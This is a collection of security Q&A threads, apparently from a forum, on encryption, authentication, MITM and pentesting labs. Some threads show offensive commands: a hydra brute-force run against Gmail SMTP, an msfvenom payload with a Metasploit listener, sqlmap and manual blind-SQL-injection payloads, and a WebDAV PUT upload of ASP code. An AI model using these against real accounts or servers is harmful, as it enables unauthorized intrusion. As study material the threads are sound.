Trying to dictionary attack my own gmail account with hydra on smtp I'm trying to break into my OWN gmail account. But it's not working. Does anyone have any ideas? Is there anything I can do to further isolate the problem? I'm running Kali 2016.1 on virtual box. I'm hardwired directly to my modem with NAT mode turned on in VB. Here is what I tried below.

EDIT: I also changed the -t flag to 1. It may not have liked having 4 request at once. Same results more or less.

hydra -l ********@gmail.com -P passwords.txt -s 465 -S -v -V -t 4 smtp.gmail.com smtp

Now here are the results.

Hydra v8.2 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2016-08-10 16:21:32
[INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[WARNING] Google Mail has bruteforce detection and sends false positives. You are not doing anything illegal right?!
[DATA] max 4 tasks per 1 server, overall 64 tasks, 4 login tries (l:1/p:4), ~0 tries per task
[DATA] attacking service smtp on port 465 with SSL
[VERBOSE] Resolving addresses ... done
[ATTEMPT] target smtp.gmail.com - login "********@gmail.com" - pass "aaaa" - 1 of 4 [child 0]
[ATTEMPT] target smtp.gmail.com - login "********@gmail.com" - pass "*******************" - 2 of 4 [child 1]
[ATTEMPT] target smtp.gmail.com - login "********@gmail.com" - pass "jkjh" - 3 of 4 [child 2]
[ATTEMPT] target smtp.gmail.com - login "********@gmail.com" - pass "" - 4 of 4 [child 3]
[VERBOSE] using SMTP LOGIN AUTH mechanism
[VERBOSE] using SMTP LOGIN AUTH mechanism
[VERBOSE] using SMTP LOGIN AUTH mechanism
[VERBOSE] using SMTP LOGIN AUTH mechanism
[STATUS] attack finished for smtp.gmail.com (waiting for children to complete tests)
1 of 1 target completed, 0 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2016-08-10 16:21:33

What you are doing is a violation of the Gmail Terms of Service. Applicable text:

  Don’t misuse our Services. For example, don’t interfere with our Services or try to access them using a method other than the interface and the instructions that we provide. You may use our Services only as permitted by law, including applicable export and re-export control laws and regulations. We may suspend or stop providing our Services to you if you do not comply with our terms or policies or if we are investigating suspected misconduct.

You aren't hacking "your own account." In this case, you are attempting to bypass GMail's authentication system, a service which most assuredly does not belong to you. This is at best a ToS violation and at worst illegal.


AES subkey generation operations order I am preparing for my Information Security state exam. There is a question in preparation sheet that asks about order of operations to generate subkey for AES algorithm.

Operations listed:

XOR with constant
XOR with first 4 bytes of subkey
s-box
Circular left shift

I tried to google this question, but didn't find the answer. What is the right order?

The "key expansion" or subkey generation in AES is an iterative process. Due to some work I am doing about this block cipher I have prepared an figure that may help you:

The algorithm is checking if the iterator of the generator is in congruent with 0 modulo #columns to proceed with 3 operations or only with one if is not.

The rotWord() is a circular shift (I think is to the right), the call to subBytes() uses the SBox and RCon in the bottom is an operation in the polynomial field.

I hope this will help to find out yourself the answer for your test, without giving you the answer directly.


Are password-protected ZIP files secure? Following my answer. If I can list contents of a password-protected ZIP file, check the file types of each stored file and even replace it with another one, without actually knowing the password, then should ZIP files be still treated as secure?

This is completely insecure in terms of social engineering / influence etc.

I can hijack (intercept) someone else's file (password-protected ZIP file) and I can replace one of the files it contains, with my one (fake, virus) without knowing the password. Replaced file will remain unencrypted, not password-protected inside the
ZIP, but other files won't be modified.

If a victim unpacks a password-protected archive, extracting program will ask for the password only once, not every time per each file. So end user will not see the difference -- whether the program does not ask for a password, because it already knows it (original file) or because the file being extracted doesn't need a password (file modified by me). This way, I can inject something really bad into a password-protected ZIP file, without knowing its password and count on the receiver assuming the file is unmodified.

Am I missing something or is this really wrong? What can we say about the security terms of a solution, if password is not required to introduce any modification in a password-protected file?

To answer this, there needs to be a better definition of "secure" and/or "safe".  It's always got to be defined in light of the purpose of the protection and the risk to the system.  There's no one size fits all here, what's "safe enough" for one system, may be abysmally weak on another.  And what's "safe enough" on another may be cost prohibitive or down right impractical in a different case.

So, taking the typical concerns one by one:

Confidentiality - marginal at best.  Confidentiality is usually rated in terms of how long it will take to gain access to the protected material.  I may be able to change the zip file, but as a hacker it'll take me some amount of time either crack the password or brute force it.  Not a lot of time, passwords are one of the weaker protections, and given the way zip files are often shared, social engineering one's way to the password is usually not hard.
Integrity - nope - as the asker points out - it's easy to change the package and make it look legitimate.
Availability - generally not applicable to this sort of security control - this usually refers to the risk of making a service unavailable - the data storing/packaging usually doesn't affect availability one way or the other.
Non repudiation - nope, no protection - anyone can modify the package, so anyone contributing to it has probable deniability.

The trick is - how much better do you want to get?  Encrypted email is an option - as a better protection.  Although it poses it's own connectivity concerns.  And there's many better ways to encrypt data - but the better options also involve key distribution challenges that can add time and cost concerns.

As a quick way to package and share some data that you don't want to make completely public - it's better than nothing, and it's sometimes the only common denominator you can work out.  For anything high-risk, I'd find a better option.


Are there any circumstances where I would need to generate a new revocation certificate for my PGP key? When I generated by PGP key using GnuPG, I created a revocation certificate, in case I lost control of the master private key.

Will this revocation certificate be valid for my PGP key, regardless of modifications made to it in future? Or, are there changes to the key which require regeneration of a revocation certificate (e.g. extension of expiry date, addition/removal of subkeys, changing user IDs)?

The revocation certificate is for your Certify ("master") key, which does not change regardless of any subkeys or identities you add.


Deactivate MFA protected accounts Does it still make sense with multi factor protected accounts to deactivate them after a certain period of inactivity?
I'd say yes because the user himself probably doesn't remember that an account exists when they aren't using it.
In fact we've had several VPN systems before, during the rise, and after Covid was "established", all of which require cleanup.
I can already feel the "how dare you" look, even though it's proven they never used the old system anymore.

Dormant accounts are usually ripe for the picking for attackers, so you generally make a risk-informed decision about when to sunset those accounts. And that decision might be different for every company. For example, I work in a field where no account should be deactivated, ever.
However, because you have MFA, you have an extra layer of protection. That's good, but it can also provide a false sense of security if it turns out that the particular MFA has a flaw or can be bypassed.
So, in the end, it's a risk-informed decision based on business need, costs, effort, and threats.


Does man in the middle require physical access to the network infrastructure? Reading other questions such as this or this or this, it seems if I'm the only one using the wifi connection at home I can be sure no man in the middle attack is happening, because there is no way to stand in the middle due to lack of physical access to network infrastructure.

Am I right? or there is a way to arbitrarily choose someone over internet and become the man-in-the-middle of their connection by some method?

I'm also assuming

the government agencies are not spoofing on my connection (or if they are, they are so advanced there is no way to defeat them anyway).
no one at my ISP cares about my connection to spoof it.
My ISP is not compromised.

Not necessarily.

There are numerous attack vectors that can expose you to a man-in-the-middle-attack in this instance:

A Rogue Access Point.  Someone impersonates your AP and forwards the traffic on to the AP, thus allowing them to perform a man in the middle attack on your network traffic.
DNS-based attack (as pointed out by schroeder's comment):  What DNS servers are you using?  If those DNS servers are compromised, they can redirect you to a man in the middle attack.    If you're using your local router as a DNS server, it could be compromised to point to malicious DNS servers, among other methods.  If your local computer is compromised with malware etc, it could be pointing to malicious DNS servers (although int his case a man in the middle attack might be superfluous, since they're already in your computer)
The other end of the connection.  If the endpoint network you're connecting to has been compromised, the man in the middle attack can be conducted from the network on the other end.  This would be a less realistic issue in the case of large sites, but for personally-operated servers/sites this may be a viable attack vector.

But yes, as you point out there is no way for a random entity on the internet, without access to a privileged position like an Internet Exchange (IX) or an ISP, to carry out a man in the middle attack at whim.  They would typically have to compromise, somehow, the local network on either end of the connection to launch such an attack.


Why windows 7 ulitmate can't run exe file? Facing NTVDM CPU error? I have created a malicious .exe file with the use of msfvenom in my local environment. And I created a listener by using multi/handler in Metasploit

I send it to Windows 7, but when I run this test.exe malicious file in Windows 7, it shows me an error:

e:/test.exe
The NTVDM CPU has encountered an illegal instruction.
CS:0000 IP:0075 OP:f0 00 f0 37 05 Choose 'Close' to terminate the application.

with two options "Close" and "Ignore"

When I ignore it, it simply disappears but I didn't get any meterpreter shell in my listener.

What will be the problem? I tried to use -e shikata_ga_nai thinking that there may be some antivirus blocking it but it still shows me the same error.

NTVDM is a virtual environment set up for executing 16-bit programs.  This was probably compiled/created incorrectly, or screwed up during transfer.


CSR verification process by certificate authority Can some one help me understand the step by step process on CSR signature verification process by Certificate Authority?

Is the contents of the CSR hashed and signed by the server's private key?
Is the CSR encrypted?
Is the CSR transported in clear text to CA to re-hash and verify the contents?
How does CA verifies the hash of the signed CSR?

Explanation about step by step process is greatly appreciated.

Is the contents of the CSR hashed and signed by the server's private key?

Yes

  Is the CSR encrypted?

No

  Is the CSR transported in clear text to CA to re-hash and verify the contents?

Yes

  How does CA verifies the hash of the signed CSR?

The CSR is signed with the server's private key. To verify the signature the server's public key is needed. This key is contained in the CSR. Note that this signature only proves that the creator of the CSR has access to the private key matching the public key in the certificate - it does not provide any proof of ownership of a domain or similar.


Is there a Cipher Suite which is only "good" when used with HTTPS, but not "good" with other protocols? Some attacks (e.g. BEAST, CRIME) are only effective against HTTPS.
Are there any cipher suites which are only "good" when in use over HTTPS?

Is there any "good" HTTPS cipher suites (i.e. ChaCha20-Poly1305, AES-GCM, ..) which is not "good" for other protocols like IMAP, SMTP, SSH, etc.?

Some attacks (e.g. BEAST, CRIME) are only effective against HTTPS.

Not really. The underlying problems of ciphers or of use of compression are not specific to HTTPS, only some features of HTTP made it possible to exploit these problems because you were able to add chosen plain text to the encryption etc. You might find exploits for other protocols which are based on the same ideas.

  Is there any "good" HTTPS cipher suites (i.e. ChaCha20-Poly1305, AES-GCM, ..) which is not "good" for other protocols like IMAP, SMTP, SSH, etc.?

Based on what I wrote above the question would not be if their are any good ciphers for HTTPS which are bad for other protocols. Instead you might ask if their are any ciphers with known problems, where these problems can not be exploited by HTTPS but can be exploited with other protocols. Since typical attack methods like chosen plain text are probably easier to do with HTTPS than with other protocols I would say, that ciphers safe for HTTPS are probably safe for other protocols too, at least for the common protocols you've mentioned.

But you might also ask if you could construct a protocol in a way, that even the protection offered by good ciphers can be evaded. I'm pretty sure that you can do it and there might be protocols or applications out there which do this. But this is not the problem of the cipher or of TLS, but of the usage. Check out Timing Analysis of Keystrokes and Timing Attacks on SSH or I Know Why You Went to the Clinic:
Risks and Realization of HTTPS Traffic Analysis for examples what kind of analysis could be done even if the ciphers itself are fine. And you could definitely design protocols in a way which accidentally make these kind of side-channel analysis even easier (but also which make it harder).


Deal with API Webhooks that refuses authenticating itself I'm currently in the process of writing a connector to an API. It's for an automated shipping system and I'm required to listen to events from that given API, sent via Webhooks.

The API owner does not add Authentication headers to the request they send to my webhook, instead they use a field within the body to mimic some sort of authentication. That means I have to parse the body of every incoming request, which makes it easy for attackers to DDOS my server (amongst other attacks). I've asked them to change that, but they refused.

{
   "token": "myToken",
   "otherData": ...
}

I'm very concerned about publishing such an endpoint unauthenticated to the www.

1) Is my concern legitimate?

2) What can I do to force them to use authentication?

To answer your first question: No, I don't believe you have much to worry about. In particular, they are authenticating themselves, and I think you have some confusion in terminology going on here. The fact that the auth token is in the request body doesn't change anything about authentication. Many API calls work this way (although passing the auth token in the header may be more common). If you contacted them and tried to address the lack of authentication (like you are here) I'm sure they would have dismissed your concerns, because they are in fact authenticating themselves.

Regarding your concerns over DDOS, the difference between getting an auth token out of a header (which is probably the only other place it can live) and parsing it out of a JSON body is very minimal from the perspective of CPU usage. I don't expect it to make any practical difference in helping an attacker succeed in a DDOS attack. In all likelihood you have much more CPU intensive pages than this anyway, so if someone were to perform a targeted attack against your system and take the time to try to find the weakest endpoint, there are probably many much more tempting pages to be found.

However, even that isn't a real concern. Most DDOS attacks these days work by simply throwing as many requests at the target as possible to saturate their network bandwidth.  As a result, the actual endpoint doesn't even matter, and the requests the attackers send are very rarely valid requests anyway. I doubt many attackers would bother doing more than looking up the IP address of your server(s), and there are probably very few circumstances in which they would first spend time looking around your website trying to find the most vulnerable page.

If you are concerned about DDOS get a DDOS mitigation partner like cloud flare. As Josef mentions, you can also try IP address limits on the page. However, there are much more effective ways to spend your time to protect your site against DDOS then trying to change the API structure of a third party service when your application has plenty more endpoints for an attacker to hit anyway.

Additional Clarifications

In the security world no answers are especially helpful without good threat modeling.  As a result, it's worth breaking down the "threat model" you are concerned about.  Having a request that passes the auth token in the body is important if:

Someone is targeting your system for DDOS attack
They don't have enough bandwidth at their disposal to simply overrun your network resources (DDOS of network resources via amplifications attacks alone accounts for ~half of all DDOS attacks)
They therefore decide to target particular endpoints in your system that are resource-intensive
They happen to stumble upon this unpublished endpoint and are able to figure out how the API call works
They don't find another endpoint in your system that is more resource intensive

If all of those conditions are met, then indeed, someone might use this endpoint to DDOS your system, and the difference between authentication in the header and in the body may in fact matter.  However, in case it isn't clear, these conditions are never going to be met.  If someone wants to DDOS your systems they will probably just go off and rent a DDOS that will flood your systems with meaningless network traffic.  It is both easier and more effective then trying to identify an actual weak point in your system.  This is the primary reason why this doesn't matter from the perspective of a DDOS: the DDOS attack you are worried about is never going to happen because there are easier and faster ways to DDOS a website than this.  The only way to protect against realistic kinds of DDOS attacks is with a DDOS mitigation provider.

This is why threat modeling and understanding real world threats is so important.  You can spend weeks working with a third party provider to change their API in a way that minimizes CPU time on your end, only to then have your systems knocked out by a DDOS that blindly sends invalid requests into your network and overwhelms your network capacity.  If you spend your time protecting against the wrong kinds of threats, you can end up wasting a lot of time and (more importantly) implementing the wrong kinds of safe guards.


Why do apps with phone verification send the user a message, rather than have the user send one to them? Many apps allow the user to authenticate with their phone number, by having the user enter it, and then sending an SMS with a code to be entered into the app. Very few (if any that I can find still active), simply present the SMS interface, and have the user send an SMS with a verification code to the server. I can think of a few reasons for this, but none that really seem to rule it out for me:

Sending an SMS could cost the user, and without having local numbers for every country, it could cost a significant amount
A user may want to sign in on a device that does not have SMS capabilities, but can have the SMS sent to their phone instead [iPod/Tablet etc.] (this could be mitigated by allowing the user to use both inbound or outbound for verification depending on the device capabilities)
Users are very familiar with the receiving interface from other big name apps, and so it may feel more secure
Does sending an SMS seem "dodgy" a bit like old-school scams that ask you to send a message to a number?
It is not compatible with a desktop web version of the product

None of these seems like a real reason not to do it, but for some reason the big names like WhatsApp, SnapChat, Facebook etc. all seem to avoid it. Can anyone think of any major reasons to not do this, or have any insights as to why it is not more common?

It's quite easy to send an SMS message that appears to come from the phone number of your choice without actually controlling that number. And so sending an SMS from a number doesn't verify your ID in the same way as receiving an SMS to a number.


Firefox trying to connect to other computers on the LAN While running Wireshark trying to troubleshoot some other issues, I noticed several SYN connections to ports 80 and 443 on the workstation I was using. The packets were dropped. These were coming from other workstations. There is no webserver running on this workstation, and its IP address has been the same for weeks.

Running process monitor on one of the source workstations, I found Firefox is the source of the packets.

Anyone know why Firefox would be attempting to connect to another local workstation, not a server? The workstation is running Firefox 39.0.

Edit 08/12/15: I stuck apache (via xampp) on the "victim" computer and found the very common log entry "/connect/xd_arbiter/7tUlZKGPU61.js?version=41 HTTP/1.1" 404 1354 "(some webpage)" "(useragent)". Google tells me this is something to do with Facebook, but nothing really beyond that. Does anyone know more?

There are several possibilities here:

A tab in Firefox has a website that keeps connecting and refreshing an internal IP address. That might be a home NAS appliance that by coincidence has the same IP with your computer
A Javascript script from a legitimate website attempts to scan the internal network using Cross Origin Requests or WebSockets. This website can do that. Note that the latest WebRTC feature can get the local IP address of a computer even it is non routable and behind a NAT.
Maybe a special or malicious extension or plugin is doing the traffic. Start Firefox in safe mode and see if the behaviour is the same.
There could be malware or an attacker on that computer that injected itself in the Firefox process to escape firewall egress restrictions (like the Windows firewall). Similarly, that instance of Firefox could have been the victim of an exploit that remained in the Firefox process.

You can open Firefox's network monitor and see which website is making HTTP requests to internal IPs.

You can also use Process Explorer to look at the Firefox process and look for strange things, like strange loaded DLLs and TCP/IP connections.


Solution for traffic capturing from router i'm a newbie and i'm having a problem that i can't find it by google.
I'm researching abbout DDoS detecting method now. As we can see that nowadays people often analyze networking traffic from router by a computer inside LAN.

But i see that there're some companies which have services for traffic monitoring and packet information capturing. I wonder how they can do it. Do they have to configure their own customer's router for the information or do something elso.

Also, can i config a router for directing its traffic to a cloud outside its network?

Thanks in advance :-)

DDoS can be analysed simply by checking the volume and pattern of traffic hitting the router. Any decent router will have something called SNMP (Simple Network Management Protocol). SNMP captures information about the performance of the router (in this case, it can be used for all manner of devices) and allows an external service to take the data, aggregate and report on it. One of the advantages of SNMP is that is happens out-of-bounds of the actual traffic and therefore should not impact the performance of the router and its traffic. Ideally, SNMP traffic for a router should go over a completely separate LAN (a management LAN) to the data. SNMP can be a security risk of course and so needs to be handled carefully out at the network boundary.

Any enterprise grade router will have that capability. Many consumer grade routers also have it such as my Billion 7800N.

An alternative that captures more detail and may detect DDoS attacks that simple SNMP monitoring might miss requires something in the traffic stream to intercept the traffic and analyse it. This could happen external to the router by changing the DNS entry for the network to be monitored so that it passes through an external monitoring service which, in turn, forwards the data on to the router. You can do this inside the network boundary as well of course. The danger here is adding too much latency to the traffic so that it impacts performance.

I'm not so sure what you mean by your last question. It is feasible to route incoming traffic back out again rather than inwards but I'm not sure why you would want to. Certainly if the aim were to monitor traffic, this would be a very inefficient method.

UPDATE: From your comment regarding the anturis services.

Anturis is an example of set of products that cover a number of types.

Server & web monitoring. These use agents that you need to install on your server. The monitors capture specific information about the performance of the servers and send them back to a recording and dashboard service centrally. Very efficient but you have to trust the service and not mind that you are sending data back to them.
Network Monitoring. This is done using a couple of measures.

Ping. Sends a simple ICMP packet regularly to your network device. The service measures the round-trip time and any lost packets. You need to allow your router (for example) to respond to this. Allowing ping can open you to denial of service attacks and many routers will have it turned off to the public side of the interface.
SNMP. As I said previously, this is something available on most managable network devices including virtually all routers, enterprise grade switches, access points, etc. If you intend to use an external agency to monitor SNMP, you need to make sure the traffic is secure which may not be easy.

In all of these cases, you have to take some kind of action to allow the monitoring to occur. Varying from installing software on your servers, through to reconfiguring your routers (to allow access to SNMP), through to allowing Ping from the Internet.


Is it safe to download BIOS firmware from any place online? Considering that all modern motherboards have code signature procedures in place like it is mentioned here:
Is it possible for malware to be in the BIOS or in hardware?
I was wondering is it safe to just download BIOS firmware from anywhere on the net or using HTTP? Is it possible to install an infected BIOS firmware on a motherboard produced 2013-2020 and the motherboard code signature not detect it?

Let's admit that everything is possible. It's called zero-day attack. The serious matter to discuss about is if this possibility is high or low. It's very very low. Every motherboard company has a regular penetration testing procedures for its products. Although, for older -not currently supported- motherboards for sure there will be exploits (bios rootkit attack most common) and you should think that these exploits will be probably detected by the antivirus, so the risk is if your computer is really old, with old and not supported operating system. In general, it's really unlikely that you find a malicious bios firmware for motherboards especially for 2013-2020 ones, and more unlikely this malicious firmware will be undetectable. A real danger tho will be if someone purchase an exploit from the dark web and target the victim.
Check that out about bios rootkit attacks: https://searchcloudsecurity.techtarget.com/definition/BIOS-rootkit-attack

Methods of preventing BIOS rootkit attacks include:
Implementing digital signature technology to prevent unauthorized
access. Making the BIOS non-writeable. Burning a hardware
cryptographic key into the BIOS at manufacture that can be used to
verify that the code has not been altered. If an unauthorized
BIOS-level rootkit is detected, the only way to get rid of it is to
physically remove and replace the memory where the BIOS resides.


Norton Security blocked "Fake Tech Support Website" within router? Norton Security (software installed on the computer) supposedly blocked a fake website coming from my internet router.

(See the full alert details window screenshot).

My internet router is a BT Home Hub 5 and the IP address http://192.168.1.254 is the router's IP address and UDP port 53 seems to be the DNS.  All other devices (computers, smartphones, tablets etc.) connected to the network are assigned different IP addresses.

Is there something in the router which may be attempting to compromise security?

The description is likely misleading and confusing.

Looking for this kind of problem on the internet suggests that a response to a DNS request originating from your local system was blocked, since the content of the response suggested that you've tried to visit some "Fake Tech Support Site". This might not have been a deliberate choice by you but might implicitly originate from some advertisement included in a page you've visited.

Your system is likely configured to use the router as DNS server (common setup). That's why the response to the DNS query comes also from your router. But it is not that your router is attacking your system, all it does is respond to the DNS query you've send. Only that the contents of the response indicates that your browser tried to access some malicious site.


Simple File Transfer Protocol My SIEM has produced something intriguing. I went looking for unauthorized SSH connections, and looked for the SFTP protocol by mistake. I found a Windows web server that is connecting from port 80 to a foreign IP address on port 115.

In researching this I discovered RFC913: Simple File Transfer Protocol (SFTP), a proposed file transfer protocol that was never widely adopted, that was proposed to exist between TFTP and FTP, and ran on port 115. IETF records the port for historical purposes only.

I have run AV and a couple of rootkit tools against the server and have not discovered any infections.

My question is, is anyone aware of any malware, trojans, etc. that leverage simple file transfer?

Have you tried a packet capture? That would allow you to determine if the data is what you expect of SFTP.

Although why your web server is performing outbound connections to a server you don't know on port 115 is alarming to me and worth investigating.


sqlmap HTTP 405 error on a vulnerable POST parameter For academical purposes I need to explode a blind sql injection on a form paramater which is sent using the POST method. The form is very simple, it just has an input text box where to introduce the name of a user and a submit button, the output produced just informs about the existence or not of the introduced user. The html code is:

<html>
<head>
      <title>User info</title>
</head>...

<p> Introduce an user to check if it's in the database </p>
<form method="post">
      User <input type="text" value="" name="user">
      <input type="submit" value="Check!">
</form>
<hr>
</center>
</html>

I know that 'guest' is a valid user name (it returns true) and I've checked manually that it's vulnerable to blind sql injection by introducing guest' and '1'='1 (which return true), and guest' and '1' = '0, (which returns false). Once being sure that it's vulnerable I've tried to use sqlmap to explode the vulnerability using the following command:

# sqlmap -u  "http://foo.com/checkuserform" --method "POST" --data "user=guest" --dbms "mysql" -p "user"

But it seems not being able to explode the vulnerability:

...
    **[00:23:01] [WARNING] the web server responded with an HTTP error code (405) which could interfere with the results of the tests**
    [00:23:01] [INFO] testing if the target URL is stable
    [00:23:02] [INFO] target URL is stable
    [00:23:02] [WARNING] heuristic (basic) test shows that POST parameter 'user' might not be injectable
    ...
    **[00:23:18] [WARNING] POST parameter 'user' is not injectable**
    [00:23:18] [CRITICAL] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment')
    [00:23:18] [WARNING] HTTP error codes detected during run:
    405 (Method Not Allowed) - 175 times

A part of not being able to explode the vulnerability what surprises me is the HTTP 405 error,since I've forced the use of POST in the sqlmap command (and I'm not able to reproduce this error if I check it manually with a browser). I've also tried increasing the values of the level and risk parameters without succeed. Do you have any clue why it's happening?

My preferred method of using SQLmap is to submit a request using a browser which is proxied through Burp, copy the request from Burp into a text file, then call sqlmap with the -r parameter pointing to the text file.

This ensures that the submission is going to the correct location, with the required headers and cookies.

In this case, I suspect that you are POSTing to the wrong location - from your description, it sounds like it may be making a Javascript call to a backend service and then providing an alert box or updating the content on the page. Using a proxy to observe this would allow you to check, even if the scripts on the page are obfuscated or excessively complex to allow for reasonable examination.


Will packet sniffing still work if all connections go through a local proxy? Will packet sniffing work if all connections use a local proxy?
You are forced to use this proxy to get a connection to the internet at all.

If you are connecting through a local proxy you should normally still be able to sniff all your own outgoing packets.


Passwords in one file or separate? I have a program that hashes some passwords and saves them to .txt files, I'm not using databases for storage.

My questions is, is it considered more secure to save hashed passwords in one file or to have them separate?

Example 1

admin.txt - hashed password

user1.txt - hashed password

Example 2

Passwords.txt = admin/user1's hashed passwords on separate lines

Is one more secure than the other? The only issue with the second example is how would you determine whose password belongs to who.

I guess in my opinion I would choose the first example because that way you can also compare entered usernames so an attacker cannot just spam the password button with potential passwords.

Do whatever results in less / simpler code.

From a threat model perspective, if an attacker can access one file, they can access the other. You're much more likely to run into issues with logical flaws in your code, so keep the code simple and short. Pick whichever of the two choices offers you more simplicity.

Also, make sure you understand password hashing properly, and follow good practices.


Scan for Vulnerabilities Without Network Connection I have been search on the internet for some time but can't really find an answer to my question;

Is it possible (common) to scan or hack a network device (such as a router or computer) without being connected to that network?

For example, can I use tools such as Nmap, Metasploit, or Nessus to scan a MAC address for vulnerabilities or open ports?
Can I take that further and remotely compromise a system without a connection to it?

I know there is tools such as Aircrack, but that uses promiscuous mode enabled network cards.

I'm assuming the answer is no because there is secuirty measures in place that would probaly block any sort of connection outside authentication.

In addition to the existing response:
You can mount indirect attacks where you use another device which has access to both the (external) attacker and to the internal target device. A common available device is  a normal computer where the user surfs the internet with a web browser. Since the web browser has access to both the internal and external network it can be used as a trampoline for the attacker. To just give some examples of possible attacks which could be delivered for example within a displayed advertisement:

Scan the internal network, i.e. find out which hosts exists and even which ports might be open. Sending HTTP requests to internal hosts can be done for example with embedding images like <img src=//internal-host:1234/> and with some Javascript it can be determined if the request timed out (host does not exist or packets gets dropped) or not (host exists). With some more logic one can even find out some browser controlled devices available on the network by trying to access device specific URL's.
Using CSRF or similar attacks it might even be possible to take over these systems then, i.e. change the DNS settings of routers so that the attacker can MITM any outgoing traffic from the network or even modify the firmware of printers. None if these attacks needs that the devices can be accessed from outside. These are not only theoretical attacks but are actually done at a large scale.


Server full disk encryption protection from malware A group of LINUX servers is using dm-crypt to encrypt data. The servers do not store data long-term but are only temporary stopping points for data before it is sent to other systems.  The time the data is saved to disk on the server is typically minutes, but at peak time or if there are downstream outages could be several hours.  I have heard that the full disk encryption helps protect against malware threats, specifically in this case a malware which could programmatically copy the information while it was temporarily saved on the servers.  Could anyone please let me know if this is true as I have not been able to find confirmation?

If the malware is copying the files after they have been written to the disk and without requesting the files through the filesystem (which will decrypt them), encryption will protect them.

If the malware is intercepting the files before they are written to disk or is accessing them through the filesystem encryption will not help.

Encryption only protects against someone accessing the data without going through your OS (eg. removing the physical disk and attaching it to their machine).


Encrypting data as a middleman I'm working on a financial app that uses Plaid to provide financial data and updates as users spend money.

As of right now, I'm using Hashicopr's Vault to encrypt the transaction/bank account data, which should hopefully help prevent hackers seeing the data if the database ever gets dumped (luckily no actionable financial data exists, simply transactional data).

The problem here, however, is that if I wanted to I could decrypt (using Vault) any user's data as the owner of the app. I don't want to be able to do that.

Is there a way to encrypt incoming data from Plaid and make it available to the user through a web UI, without me being able to decrypt it as the developer of the app?

Unfortunately private keys won't work since I would have to store them to encrypt the data coming in from Plaid.

Thanks so much!

Is there a way to encrypt incoming data from Plaid and make it
  available to the user through a web UI, without me being able to
  decrypt it as the developer of the app?

Yes.  Encrypt it using the public key of the end user, and implement the client such that the private key - which is in their hands, and no one else's - decrypts the data for their consumption.

This requires a fatter client than simply using a web browser, but if you're implementing your own app, you can do that.  It also means you have to implement all your logic out at the endpoint, since the server is blinded to the meaning of all that data.

An example of a (multiplatform) application that uses this model is Keybase.  Not only do they allow the end user to have protected access to files that are stored in the cloud, they allow groups of users to share, with each other, access to files that traverse and are stored in the cloud but only decrypt-able by the right end users.

  Unfortunately private keys won't work since I would have to store them
  to encrypt the data coming in from Plaid.

Secret (symmetric) keys won't work for you for that reason.  Public (asymmetric) key pairs, where you encrypt using the public key and the user decrypts with their private key, will work.


Exploit HTTP PUT Method in Microsoft IIS 5.0 I'm trying to test if it's possible to use the PUT method to upload content to a IIS 5.0 server. The WebDav is actualy enabled and the PUT method is allowed for public/internet users:

OPTIONS /website HTTP/1.1
Host: www.targetiis.com

HTTP/1.1 200 OK
Date: Fri, 03 Oct 2014 10:18:02 GMT
Server: Microsoft-IIS/5.0
X-Powered-By: ASP.NET
MS-Author-Via: DAV
Content-Length: 0
Accept-Ranges: none
DASL: <DAV:sql>
DAV: 1, 2
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Allow: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
Cache-Control: private
Content-Type: text/plain

But when I use the PUT method I get an error message :

PUT /website/file.txt HTTP/1.1
Host: www.targetiis.com
Content-Length: 29

<%response.write("hello")%>

HTTP/1.1 403 Forbidden
Date: Fri, 03 Oct 2014 10:26:55 GMT
Server: Microsoft-IIS/5.0 X-Powered-By: ASP.NET
Content-Type: text/html
Content-Length: 4096

So what is the possible reason for this response ?

HTTP status status message 403 means the client doesn't have the access rights, that's why you are getting this response.
HTTP PUT methods requires authorization to give access to the server content. Since PUT is dangerous method, if proper security mechanism is not used to restrict the users.
So if you want to put some content on the server so you must use Authorization, for authorization you need to know the credentials, that you might not know because you are not a administrator. The HTTP header with authorization is,

PUT /website/file.txt HTTP/1.1

Authorization  = "Authorization" ":" credentials

Host: www.targetiis.com

Content-Length: 29


Tutorials, Exercises and Environemnts for Penetration Testing Mobile Environments I'm looking for a list of exercises or distributions to practice penetration testing on mobile environments. There are plenty of existing things like the environments found at pentesterlab.com and things like Mutillidae,  hackthissite.org etc. However all these are for desktop/server environments.

There seems to be quite a lack of mobile-space environments to test with (something that supports both android and iOS would be ideal).

If there are walkthrough guides/solutions for such tutorials that would also be great.

Hope someone can help!

Smart phones are not that different from laptops, so building your own mobile lab and attacking the targets there is a good approach.

Hosting your target:

Use an Android emulator to host your Android target. You can interact with it from the command-line via ADB
iOS has the same thing but they call it the iOS Simulator
Or you can use physical phones but root or jailbreak them for better low level control.

Network setup should contain the minimum:

A router with flexible controls. dd-wrt works on your wireless router or a Linux (virtual) machine. A wireless router is preferred.
A computer with a packet injection card to perform wireless attacks on your physical phones. The best choice seems to be the Alfa AWUS036H card from Alfa Networks as BackTrack supports this out-of-thebox.
A Backtrack (or similar) installation because it contains most of the wireless attack tools.

Intercept and modify SSL/TLS phone communication steps:

Generate a Certification Authority (CA) SSL certificate
Install that certificate in your phone certificate store for Android and iPhone
Setup your phone to use a proxy on a computer where you
Install an interception proxy (ZAP, Burp) to intercept the phone traffic. Install the CA certificate on that proxy. Note that ZAP will generate a CA certificate for you.
Access an SSL website or use an app that uses SSL and see the traffic in the interception proxy. You can trap the HTTP requests in any direction and modify them. This way you can test the security of the app or the server application.

You now have a working mobile pentesting lab.

Download and install vulnerable versions of Android then test public exploits from exploit-db.com http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=Android

This is a list of presentations and whitepapers I have collected and used for pentesting Android. You can use this list to extract attacks and try them in your lab environment:

A Brief Guide to Android Security
A framework for on-device privilege escalation exploit execution on Android
A Framework for Static Detection of Privacy Leaks in Android Applications
A Local Cross-Site Scripting Attack against Android Phones
A Methodology for Empirical Analysis of Permission-Based Security Models and its Application to Android
A Study of Android Application Security Slideshow
A Study of Android Application Security Whitepaper
